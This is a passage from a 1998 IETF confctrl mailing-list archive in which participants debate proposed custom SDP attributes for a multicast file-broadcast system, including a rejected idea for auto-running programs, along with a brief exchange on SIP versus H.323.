>As you have probably intuited from the above explanations, our client that
>is processing these records is fairly sophisticated.  It is automatically
>generating a rich display to the user based on the SDP records, as well as
>other information contained in special (mandatory) streams.  As such, we
>wish to have commands to control the display of the information to the
>user, giving some SDP records display preference in some manner over
>others.  Also, we wish to provide a means of grouping the information,
>independent of category.  The "type" is for the grouping.  The "priority"
>is the priority of display WRT other SDP records.  The exact interpretation
>of these is somewhat client-dependent.

Ok, so now I don't understand why everyone won't set the maximum
priority on their sessions?

If you're using this in the context of SAP, you probably can't perform
any useful form of sender controlled prioritisation.  All you can do
is provide sufficient information for a smart receiver to filter the
incoming announcements.

If you're using this in some other context, then I'd need to know what
the context is to be able to judge the attributes, and the attribute
specs would need to state what the intended usage context is.

>I LIKE the feedback.  Hope these explanations help.

Cheers,
	Mark

From confctrl-owner  Thu Jan  8 11:53:32 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA15263
	for confctrl-outgoing; Thu, 8 Jan 1998 11:53:32 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA15257
	for <confctrl@zephyr.isi.edu>; Thu, 8 Jan 1998 11:53:31 -0800 (PST)
Received: from mh2.cts.com (root@mh2.cts.com [205.163.24.68])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA14584
	for <confctrl@ISI.EDU>; Thu, 8 Jan 1998 11:53:30 -0800 (PST)
Received: from king.cts.com (root@king.cts.com [198.68.168.21]) by mh2.cts.com (8.8.7/8.8.5) with ESMTP id LAA03667; Thu, 8 Jan 1998 11:53:29 -0800 (PST)
Received: from crash.cts.com (root@crash.cts.com [192.188.72.17])
	by king.cts.com (8.8.7/8.8.7) with SMTP id LAA26338;
	Thu, 8 Jan 1998 11:53:29 -0800 (PST)
Received: from miked.cts.com by crash.cts.com with smtp
	(Smail3.1.29.1 #5) id m0xqO14-0000BQC; Thu, 8 Jan 98 11:53 PST
Message-Id: <3.0.5.32.19980108114115.00830100@cts.com>
X-Sender: miked@cts.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Thu, 08 Jan 1998 11:41:15 -0800
To: Mark Handley <mjh@ISI.EDU>
From: "Michael A. Dolan" <miked@tbt.com>
Subject: Re: feedback on some attributes requested [more info] 
Cc: confctrl@ISI.EDU
In-Reply-To: <23787.884283164@north.lcs.mit.edu>
References: <Your message of "Thu, 08 Jan 1998 09:46:42 PST."             <3.0.5.32.19980108094642.00834410@cts.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 01:12 PM 1/8/98 -0500, Mark Handley wrote:
>
>>>>a=key:<number>
>>>>	Number is a 32-bit unsigned decimal number which identifies the object
>>>>within a stream nominally pointed to by the multicast group and dest port.
>>>
>>>Again, this doesn't make sense without more context.
>>
>>In a stream that contains multiple objects, this key identifies which
>>object this record describes.  For example, for a file object, the header
>>of the file transfer protocol would contain this identifier.  It is
>>generically a sub-stream object identifier.
>
>The media-level description describes a stream.  I'm not clear how it
>can describe anything smaller than a stream, hence this field still
>doesn't make sense to me.

First, no problem if any of these attributes are too goofy to incorporate
into your draft spec.  My goals in order were to get some feedback (this is
going great), seek input from anyone with similar needs, possibly
standardize anything as it makes sense globally, and educate the group on
our needs in case someone else sees any benefit/use in their work.  So, as
we discuss these, and you have a better feel for our application, feel free
to simply dismiss attributes from further global discussion.

Some more background which hopefully will help...

Among other things, we have an need to broadcast files.  We developed a
transfer protocol to send these as datagrams using multicast group
addressing.  For performance, bandwidth, and namespace considerations,
there must be multiple files per "stream".  Thus we need some form of
sub-stream addressing.  Using time alone is not practical as the time
windows are sub-second.

For example, if one has a 100Mbps ethernet, a file is only 1000 bytes, and
the broadcaster is using high bandwidth (even 1/10 capacity), computer
networks simply cannot be this accurate on when to join/leave the multicast
group.  In addition, the broadcaster can't even specify the time window
accurately even if the network could respond.  Since we wished to use a
semi-standard way to describe these objects, we chose SDP.  We could have
invented something else, but we also have other things that are much more
like what SDP was designed for, so we stuck with SDP for everything.

In the file case above, the time field in the SDP record specifies a
reasonably wide range from which to join and leave the group (may only be a
matter of a minute), and the a=key lets the application pick out the right
object (in a stream-dependent way) during that time window.

There are many thousands of files being broadcast, and thus it is not
practical to spread them out in time over the bandwidth on a single stream
for each.

Additionally, we found that it was useful to have the object id be a one to
many  mapping.  For example, if there were a logical collection of files
distributed over a well known time window, they could ALL be picked from
the stream with a single a=key, and hence single SDP record.  Then, a much
wider time window can be used in some cases.

This application is probably not what you had in mind for SDP, huh?

>>>>a=channel:<number>
>>>>	where number is a client-dependent channel number associated with this
>>>>stream.
>>>
>>>Probably OK, but your description is unclear.
>>
>>This is generic and of an informative nature similar to a=cat.  This is
>>literally a channel (ie 100) that this record describes, which may have
>>meaning only to the program that processes the stream, or to the user
>>interpreting this record.  In a simple example, if a stream were a
>>broadcast of channel 4 in Los Angeles, then this would be set to 4.
>
>You would then have to state that you couldn't use this in a global
>session announcement unless the value had global meaning.
>
>For example, I can't put this in a global (or even National in the US)
>session announcement, and I can't use it in SIP or RTSP unless I share
>prior common knowledge with the invitee/server/client that defines the
>meaning of the value.
>
>I suspect this applies to a lot of your attributes, so I can't see
>how they're used.

A geographically local terrestrial broadcast channel is not what we use
this for, but was just an example that I thought was somewhat generic.  Do
the address spaces of the attribute values have to be global?  If so, then
this attribute will obviously not work in a standard (if only there were a
global channel name space !).  But, if the meaning and space can be context
dependent to the rest of the SDP record, then it seems that this is useful,
and somewhat standard information for many broadcasts.  A "channel" means
different things to different folks, but nevertheless is useful in context.

>>>>a=archived
>>>>	Indicates that this item is in a client-dependent archive format.
>>>>Unarchiving after receipt will occur automatically.
>>>
>>>I don't understand this one.
>>
>>This is a somewhat incomplete thought and hence will require more
>>definition when we get around to actually doing it.  But the general idea
>>is that the object within the stream that this record describes is in fact
>>a collection of objects, and not just a single object.  For example, it
>>could be a tar file.  This would be used in conjunction with the a=key.
>
>By itself, I don't think this tells me anything, and I still don't
>really understand how key is used.

Hopefully the discussion above helps this.  And, as I mentioned, the
details are still being "cooked".  I just wanted to run the basic idea by
you, without any suggestion that it be standardized in any way at this time
- just offer the discussion on the outside chance that someone else had
done something similar.  But it implies sending files in the first place, etc.

>>>>a=display:type=<t>,priority=<p>
>>>>
>>>>	where t is display type indicator used by the client; and
>>>>	p is a display priority
>>>>	these are used by the client to control display positioning and visibil
>>>>ity
>>>
>>>I don't think I like this, but it's hard to tell from your description.
>>
>>As you have probably intuited from the above explanations, our client that
>>is processing these records is fairly sophisticated.  It is automatically
>>generating a rich display to the user based on the SDP records, as well as
>>other information contained in special (mandatory) streams.  As such, we
>>wish to have commands to control the display of the information to the
>>user, giving some SDP records display preference in some manner over
>>others.  Also, we wish to provide a means of grouping the information,
>>independent of category.  The "type" is for the grouping.  The "priority"
>>is the priority of display WRT other SDP records.  The exact interpretation
>>of these is somewhat client-dependent.
>
>Ok, so now I don't understand why everyone won't set the maximum
>priority on their sessions?

Yep.  Human nature would prevail.  However, groups of SDP records are often
created by the same entity.  So, within any given entity's set, this is
still valuable.  In the case where the SDP creation is a closed system
(only one author), then it is perfect.  In the case where the SDP creation
is open and from uniformly distributed sources, then this is probably not
so useful, as you point out.

Our application is initially a semi-closed system.  The announcements are
being carefully coordinated and controlled by a single entity, including
the display attributes.

	Mike

---------------------------------------------------------------------------
Michael A. Dolan  TerraByte Technology  (619)445-9070    FAX: (619)445-8864
PO Box 1673 Alpine, CA 91903, Overnight: 20239 Japatul Rd, Alpine, CA 91901
URL:http://www.tbt.com

From confctrl-owner  Thu Jan  8 12:02:31 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA15688
	for confctrl-outgoing; Thu, 8 Jan 1998 12:02:31 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA15678
	for <confctrl@zephyr.isi.edu>; Thu, 8 Jan 1998 12:02:29 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA15030
	for <confctrl@ISI.EDU>; Thu, 8 Jan 1998 12:02:24 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id PAA24311; Thu, 8 Jan 1998 15:02:17 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: "Michael A. Dolan" <miked@tbt.com>
cc: confctrl@ISI.EDU
Subject: Re: feedback on some attributes requested [more info] 
In-reply-to: Your message of "Thu, 08 Jan 1998 11:41:15 PST."
             <3.0.5.32.19980108114115.00830100@cts.com> 
Date: Thu, 08 Jan 1998 15:02:17 -0500
Message-ID: <24309.884289737@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>First, no problem if any of these attributes are too goofy to incorporate
>into your draft spec.

Actually I should make it clear to everyone that _no_ additional
attributes will make it into the draft SDP spec before it becomes an
RFC.  No new attributes have been added to this spec for many months
or we'd never get to the point where it stops changing.

At the time it becomes an RFC, there should be a mechanism whereby new
media, protocols, formats and attributes can be registered through
IANA.  That process is not completely decided yet.

In principle, anyone can use any attributes they choose, and everyone
else will just ignore them.  However I believe it is a good idea to
have a registry and some form of review of registered attributes to
ensure chaos doesn't develop and attributes with common purpose
evolve.

Mark



From confctrl-owner  Thu Jan  8 13:41:47 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA20390
	for confctrl-outgoing; Thu, 8 Jan 1998 13:41:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA20385
	for <confctrl@zephyr.isi.edu>; Thu, 8 Jan 1998 13:41:46 -0800 (PST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA21339;
	Thu, 8 Jan 1998 13:41:28 -0800 (PST)
Received: from East.Sun.COM ([129.148.1.241]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id NAA22437; Thu, 8 Jan 1998 13:40:57 -0800
Received: from suneast.East.Sun.COM by East.Sun.COM (SMI-8.6/SMI-5.3)
	id QAA06927; Thu, 8 Jan 1998 16:40:53 -0500
Received: from bcn.East.Sun.COM by suneast.East.Sun.COM (SMI-8.6/SMI-SVR4)
	id QAA25655; Thu, 8 Jan 1998 16:40:54 -0500
Received: from pine by bcn.East.Sun.COM (SMI-8.6/SMI-SVR4)
	id QAA04863; Thu, 8 Jan 1998 16:40:53 -0500
Message-Id: <199801082140.QAA04863@bcn.East.Sun.COM>
Date: Thu, 8 Jan 1998 16:40:53 -0500 (EST)
From: Steve Hanna <shanna@bcn.East.Sun.COM>
Reply-To: Steve Hanna <shanna@bcn.East.Sun.COM>
Subject: Re: feedback on some attributes requested [more info] 
To: miked@tbt.com, mjh@ISI.EDU
Cc: confctrl@ISI.EDU
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: jjZ6g2XDVINdDnFxpyUvRQ==
X-Mailer: dtmail 1.2.0 CDE Version 1.2 SunOS 5.6 sun4u sparc 
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark Handley wrote:
> In principle, anyone can use any attributes they choose, and everyone
> else will just ignore them.  However I believe it is a good idea to
> have a registry and some form of review of registered attributes to
> ensure chaos doesn't develop and attributes with common purpose
> evolve.

Agreed. It might also be a good idea to require non-standard attributes to begin 
with X- or something so they don't collide with things that you later want to 
make standard attributes.

Steve Hanna
Sun Microsystems, Inc.


From confctrl-owner  Fri Jan  9 12:00:30 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA02333
	for confctrl-outgoing; Fri, 9 Jan 1998 12:00:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA02328
	for <confctrl@zephyr.isi.edu>; Fri, 9 Jan 1998 12:00:28 -0800 (PST)
Received: from mh2.cts.com (root@mh2.cts.com [205.163.24.68])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA17010
	for <confctrl@ISI.EDU>; Fri, 9 Jan 1998 12:00:27 -0800 (PST)
Received: from king.cts.com (root@king.cts.com [198.68.168.21]) by mh2.cts.com (8.8.7/8.8.5) with ESMTP id MAA06521; Fri, 9 Jan 1998 12:00:25 -0800 (PST)
Received: from crash.cts.com (root@crash.cts.com [192.188.72.17])
	by king.cts.com (8.8.7/8.8.7) with SMTP id MAA11771;
	Fri, 9 Jan 1998 12:00:24 -0800 (PST)
Received: from miked.cts.com by crash.cts.com with smtp
	(Smail3.1.29.1 #5) id m0xqkbA-00001ZC; Fri, 9 Jan 98 12:00 PST
Message-Id: <3.0.5.32.19980109115222.00885380@cts.com>
X-Sender: miked@cts.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Fri, 09 Jan 1998 11:52:22 -0800
To: Mark Handley <mjh@ISI.EDU>
From: "Michael A. Dolan" <miked@tbt.com>
Subject: Re: feedback on some attributes requested [original reply]
Cc: confctrl@ISI.EDU
In-Reply-To: <23265.884277276@north.lcs.mit.edu>
References: <Your message of "Wed, 07 Jan 1998 16:00:08 PST."             <3.0.5.32.19980107160008.0091ce10@cts.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 11:34 AM 1/8/98 -0500, Mark Handley wrote:
>>
>>m=data <port> UDP <fmt list>
>>
>>where <fmt list> is one of:
>>
>>	BFDP (a proprietary file transfer protocol)
>>	STREAM (generally unknown content usable by a local program more
>>			fully specified with a=run below)
>>	WEBCAST (a special case of BFDP)
>>
>>There are others, but you get the idea.
>
>BFDP and WEBCAST would be OK with me.  STREAM I would like to avoid.

STREAM was left over from an early iteration of the design, and I agree.

>>Now for the a= fields...
>
>You need to specify whether these are session level, media level or
>both.

Good point.  In our application, there are currently not multiple media
descriptors being used, so we got sloppy about where the attributes
belonged, since session == media.

>>a=run:<prog>
>>	prog = well known program on the client that will be run.  Note that th
>>is
>>program is run as follows:  When the media type is a STREAM and the record
>>is mandatory, then the program will be run immediately on receipt of a new
>>SDP record version; and will be run any time the system is tuned to a
>>tranponder which contains this service.  For BFDP media types, the program
>>will be run on receipt of a final valid file.  For WEBCAST, the run tag is
>>not permitted and is ignored.   Additionally, the PATH is searched for
>>"prog" as follows:
>>
>>	<installpath>\Download\
>>	<installpath>\Bin\
>>	$PATH according to the OS search rules, but only for relative pathnames
>>	any absolute pathname (if supplied)
>>
>>Each level of search is controlled by a security level parameter settable
>>locally by the user.
>
>This is a bad idea.  You want to describe media streams and not pieces
>of software, and you especially want to avoid client OS dependencies.

We felt that the locally controlled security level addressed this
adequately, where one setting was disabling the executions entirely.  The
problem is that if you have automated processing of the SDP records and the
streams they point to, you necessarily must be able to specify that some
local action take place under certain conditions that theh user is simply
unable to grok.

In hindsight, most of our requirements would be satisfied by using MIME
type specifications of the stream, then relying on local type
mappings/associations as to exactly what should get executed.
Unfortunately, not all cases are covered by this, so we see no way around
the requirement to cause some local program execution at some level -
directly or indirectly.  This certainly can be limited to it being a media
attribute if that helps.

>In addition, if the session description is in a session announcement,
>the security requirements of SDP dictate that to DO NOT run any
>program without explicit permission of the user.  

In our semi-closed system all SDP records are currently received via "an
authenticated transport protocol from a trusted source".  And, since it is
a one-way network, there is no interactive or transmit session possible.
hopefully this helps, too.

>>a=rescind
>>	Used to rescind (delete) the session with the same session ID.  This is
>>needed since the SDP records are cached and obtained from multiple sources
>>(with priority).  So, the omission of an SDP record in one stream is not
>>adequate to eliminate it.
>
>This is not in the spirit of SDP.  The transport mechanism (eg SIP,
>SAP, RTSP) is responsible for deletion not the description itself.

We believe SAP is inadequate for this function, and we did not investigate
these other transports - thanks - we'll look into it.

>>a=fsz:<nbytes>
>>	nbytes is the number of bytes in the (file) object that this record
>>describes.
>
>In general, SDP describes streams not files, but a stream could be
>fixed length, so this would be OK so long as you made it clear.

As in the previous email with the file object description, this is
generally the length of the object within the stream, not the length of the
stream (although it could be).  In our application, it does not have to be
an exact value.  It is used only for planning purposes in the event the
stream/file is to be saved to local disk.  For example, if
a=fsz:1000000000, and there is not this much disk space left, then the user
is notified before it starts using it all up.

Thanks again for all your comments.  We will try to revise our thinking as
we move forward to be consistent with the spirit of the spec.

	Mike

---------------------------------------------------------------------------
Michael A. Dolan  TerraByte Technology  (619)445-9070    FAX: (619)445-8864
PO Box 1673 Alpine, CA 91903, Overnight: 20239 Japatul Rd, Alpine, CA 91901
URL:http://www.tbt.com

From confctrl-owner  Fri Jan  9 23:27:32 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA22129
	for confctrl-outgoing; Fri, 9 Jan 1998 23:27:32 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA22124
	for <confctrl@zephyr.isi.edu>; Fri, 9 Jan 1998 23:27:30 -0800 (PST)
Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA17543
	for <confctrl@ISI.EDU>; Fri, 9 Jan 1998 23:27:29 -0800 (PST)
Received: from mg136-093.ricochet.net (mg136-093.ricochet.net [204.179.136.93]) by proxy3.ba.best.com (8.8.8/8.8.BEST) with SMTP id XAA05712; Fri, 9 Jan 1998 23:26:03 -0800 (PST)
Message-Id: <3.0.5.16.19980109232307.2f87e95c@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (16)
Date: Fri, 09 Jan 1998 23:23:07
To: "Michael A. Dolan" <miked@tbt.com>
From: Ross Finlayson <finlayson@lvn.com>
Subject: Re: feedback on some attributes requested [more info] 
Cc: confctrl@ISI.EDU
In-Reply-To: <24309.884289737@north.lcs.mit.edu>
References: <Your message of "Thu, 08 Jan 1998 11:41:15 PST."             <3.0.5.32.19980108114115.00830100@cts.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 03:02 PM 1/8/98 -0500, Mark Handley wrote:
>>First, no problem if any of these attributes are too goofy to incorporate
>>into your draft spec.
>
>Actually I should make it clear to everyone that _no_ additional
>attributes will make it into the draft SDP spec before it becomes an
>RFC.  No new attributes have been added to this spec for many months
>or we'd never get to the point where it stops changing.

Agreed.  SDP appears stable now, so it's important that it get standardized
soon.

It's also worth pointing out here that - for describing things that just
aren't a good fit for SDP - one might consider an alternative format that
gives you the flexibilty you desire.

This is what I've been trying to do with MAFP (the "Multicast Attribute
Framing Protocol" - see <http://www.lvn.com/multikit/mafp-list-info.html>).
 This takes the (many) good ideas in SDP, but generalizes it to allow
arbitrary attributes, arbitrary bundling of subsessions, directories as
'first class objects', etc., etc.

Things that clearly fall into the SDP model - e.g., audio/video sessions -
should continue to be described using SDP.  But perhaps some of the things
Michael Dolan is trying to do might better be described using an
alternative protocol??

	Ross.



From confctrl-owner  Sat Jan 10 07:55:37 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA25232
	for confctrl-outgoing; Sat, 10 Jan 1998 07:55:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA25227
	for <confctrl@zephyr.isi.edu>; Sat, 10 Jan 1998 07:55:36 -0800 (PST)
Received: from mh2.cts.com (root@mh2.cts.com [205.163.24.68])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA26736
	for <confctrl@ISI.EDU>; Sat, 10 Jan 1998 07:55:35 -0800 (PST)
Received: from king.cts.com (root@king.cts.com [198.68.168.21]) by mh2.cts.com (8.8.7/8.8.5) with ESMTP id HAA18627; Sat, 10 Jan 1998 07:55:33 -0800 (PST)
Received: from crash.cts.com (root@crash.cts.com [192.188.72.17])
	by king.cts.com (8.8.7/8.8.7) with SMTP id HAA28939;
	Sat, 10 Jan 1998 07:55:32 -0800 (PST)
Received: from miked.cts.com by crash.cts.com with smtp
	(Smail3.1.29.1 #5) id m0xr3Fy-0000AIC; Sat, 10 Jan 98 07:55 PST
Message-Id: <3.0.5.32.19980110074802.007d7df0@cts.com>
X-Sender: miked@cts.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Sat, 10 Jan 1998 07:48:02 -0800
To: Ross Finlayson <finlayson@lvn.com>
From: "Michael A. Dolan" <miked@tbt.com>
Subject: Re: feedback on some attributes requested [more info] 
Cc: confctrl@ISI.EDU
In-Reply-To: <3.0.5.16.19980109232307.2f87e95c@shell7.ba.best.com>
References: <24309.884289737@north.lcs.mit.edu>
 <Your message of "Thu, 08 Jan 1998 11:41:15 PST."             <3.0.5.32.19980108114115.00830100@cts.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ross-

Thanks for jumping in.

At 11:23 PM 1/9/98, Ross Finlayson wrote:
>
>It's also worth pointing out here that - for describing things that just
>aren't a good fit for SDP - one might consider an alternative format that
>gives you the flexibilty you desire.

This is a good point, and we considered it.  However, we didn't want to
support 2 different announcement generation systems (and hence
interpretation systems) for similar, if different streams.  Some of what we
are sending is a pretty good match for SDP.  The problem is that there is
all this other stuff, too...

>This is what I've been trying to do with MAFP (the "Multicast Attribute
>Framing Protocol" - see <http://www.lvn.com/multikit/mafp-list-info.html>).
> This takes the (many) good ideas in SDP, but generalizes it to allow
>arbitrary attributes, arbitrary bundling of subsessions, directories as
>'first class objects', etc., etc.

Interesting stuff.  Thanks for the pointer.  I'll review it in detail...

	Mike

---------------------------------------------------------------------------
Michael A. Dolan  TerraByte Technology  (619)445-9070    FAX: (619)445-8864
PO Box 1673 Alpine, CA 91903, Overnight: 20239 Japatul Rd, Alpine, CA 91901
URL:http://www.tbt.com

From confctrl-owner  Sat Jan 10 20:10:11 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA04230
	for confctrl-outgoing; Sat, 10 Jan 1998 20:10:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA04225
	for <confctrl@zephyr.isi.edu>; Sat, 10 Jan 1998 20:10:10 -0800 (PST)
Received: from smtp1.erols.com (smtp1.erols.com [205.252.116.101])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA07958;
	Sat, 10 Jan 1998 20:10:07 -0800 (PST)
Received: from pent150 (spg-tnt22s77.erols.com [207.172.45.77])
	by smtp1.erols.com (8.8.8/8.8.5) with SMTP id XAA16809;
	Sat, 10 Jan 1998 23:11:27 -0500 (EST)
Message-ID: <004d01bd1e46$a02eaf40$010101c8@pent150>
From: "Michael Benson" <mbenson@magideas.com>
To: "Mark Handley" <mjh@ISI.EDU>, "David R. Oran" <oran@cisco.com>
Cc: "Jon Crowcroft" <J.Crowcroft@cs.ucl.ac.uk>, "Dan Wing" <dwing@cisco.com>,
        <mbenson@gmu.edu>, <CONFCTRL@ISI.EDU>
Subject: Re: H.323 - or Not Gates.... 
Date: Sat, 10 Jan 1998 23:08:33 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Are vendors such as cisco, ascend, databeam, etc. going to support these
standards within telephony products along with H.323?

Michael

---
Michael Benson
Magideas Corporation
PPClassroom 97 - The low-cost, low-bandwidth distance education solution
3105 Honda Road, Oakton  VA 22124-2325
http://www.magideas.com

-----Original Message-----
From: Mark Handley <mjh@ISI.EDU>
To: David R. Oran <oran@cisco.com>
Cc: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>; Dan Wing <dwing@cisco.com>;
mbenson@gmu.edu <mbenson@gmu.edu>; CONFCTRL@ISI.EDU <CONFCTRL@ISI.EDU>
Date: Monday, December 15, 1997 12:18 PM
Subject: Re: H.323 - or Not Gates....


>
>>The assumption, of course, is that SIP stays "thin". The evidence for this
>>proposition is itstelf rather "thin" if other people read the tea leaves
>>the way I do...
>
>Actually the compulsory part of SIP is still very "thin".
>
>We are actively working to split the spec into a base spec and
>specific extension specs, which should help people understand this,
>and also help us freeze the base spec very soon now.
>
>Mark
>


From confctrl-owner  Mon Jan 12 06:50:14 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA23949
	for confctrl-outgoing; Mon, 12 Jan 1998 06:50:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA23944
	for <confctrl@zephyr.isi.edu>; Mon, 12 Jan 1998 06:50:13 -0800 (PST)
Received: from alpha.mcit.com (alpha.mcit.com [199.249.18.143])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA16980;
	Mon, 12 Jan 1998 06:50:10 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
          by alpha.mcit.com (8.8.8/) with ESMTP
	  id JAA13123; Mon, 12 Jan 1998 09:49:38 -0500 (EST)
Received: from nmta2.mcit.com.mci.com (nmta2.mcit.com [166.37.172.3])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id IAA32760; Mon, 12 Jan 1998 08:49:37 -0600 (CST)
Received: from sinnreich1 ([166.35.250.188]) by nmta2.mcit.com.mci.com
          (Intermail v3.1 117 234) with SMTP
          id <19980112144936.QNCN6587@[166.35.250.188]>;
          Mon, 12 Jan 1998 09:49:36 -0500
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: <owner-confctrl@ISI.EDU>, "Michael Benson" <mbenson@magideas.com>,
        "Mark Handley" <mjh@ISI.EDU>, "David R. Oran" <oran@cisco.com>
Cc: "Jon Crowcroft" <J.Crowcroft@cs.ucl.ac.uk>, "Dan Wing" <dwing@cisco.com>,
        <mbenson@gmu.edu>, <CONFCTRL@ISI.EDU>
Subject: RE: H.323 - or Not Gates.... 
Date: Mon, 12 Jan 1998 08:43:37 -0600
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
In-reply-to: <004d01bd1e46$a02eaf40$010101c8@pent150>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Message-Id: <19980112144936.QNCN6587@[166.35.250.188]>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The advantages of SIP based implementations will make it hard to pass up the
opportunity in this competitive environment. Just two cents here...

Henry

Henry Sinnreich
MCI, 901 International Parkway
Richardson, Texas 75082

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Michael Benson
> Sent: Saturday, January 10, 1998 10:09 PM
> To: Mark Handley; David R. Oran
> Cc: Jon Crowcroft; Dan Wing; mbenson@gmu.edu; CONFCTRL@ISI.EDU
> Subject: Re: H.323 - or Not Gates....
>
>
> Are vendors such as cisco, ascend, databeam, etc. going to support these
> standards within telephony products along with H.323?
>
> Michael
>
> ---
> Michael Benson
> Magideas Corporation
> PPClassroom 97 - The low-cost, low-bandwidth distance education solution
> 3105 Honda Road, Oakton  VA 22124-2325
> http://www.magideas.com
>
> -----Original Message-----
> From: Mark Handley <mjh@ISI.EDU>
> To: David R. Oran <oran@cisco.com>
> Cc: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>; Dan Wing <dwing@cisco.com>;
> mbenson@gmu.edu <mbenson@gmu.edu>; CONFCTRL@ISI.EDU <CONFCTRL@ISI.EDU>
> Date: Monday, December 15, 1997 12:18 PM
> Subject: Re: H.323 - or Not Gates....
>
>
> >
> >>The assumption, of course, is that SIP stays "thin". The evidence for
this
> >>proposition is itstelf rather "thin" if other people read the tea leaves
> >>the way I do...
> >
> >Actually the compulsory part of SIP is still very "thin".
> >
> >We are actively working to split the spec into a base spec and
> >specific extension specs, which should help people understand this,
> >and also help us freeze the base spec very soon now.
> >
> >Mark
> >
>


From confctrl-owner  Mon Jan 12 08:52:07 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA28410
	for confctrl-outgoing; Mon, 12 Jan 1998 08:52:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA28403
	for <confctrl@zephyr.isi.edu>; Mon, 12 Jan 1998 08:52:05 -0800 (PST)
Received: from ns.ietf.org (ietf.org [132.151.1.19])
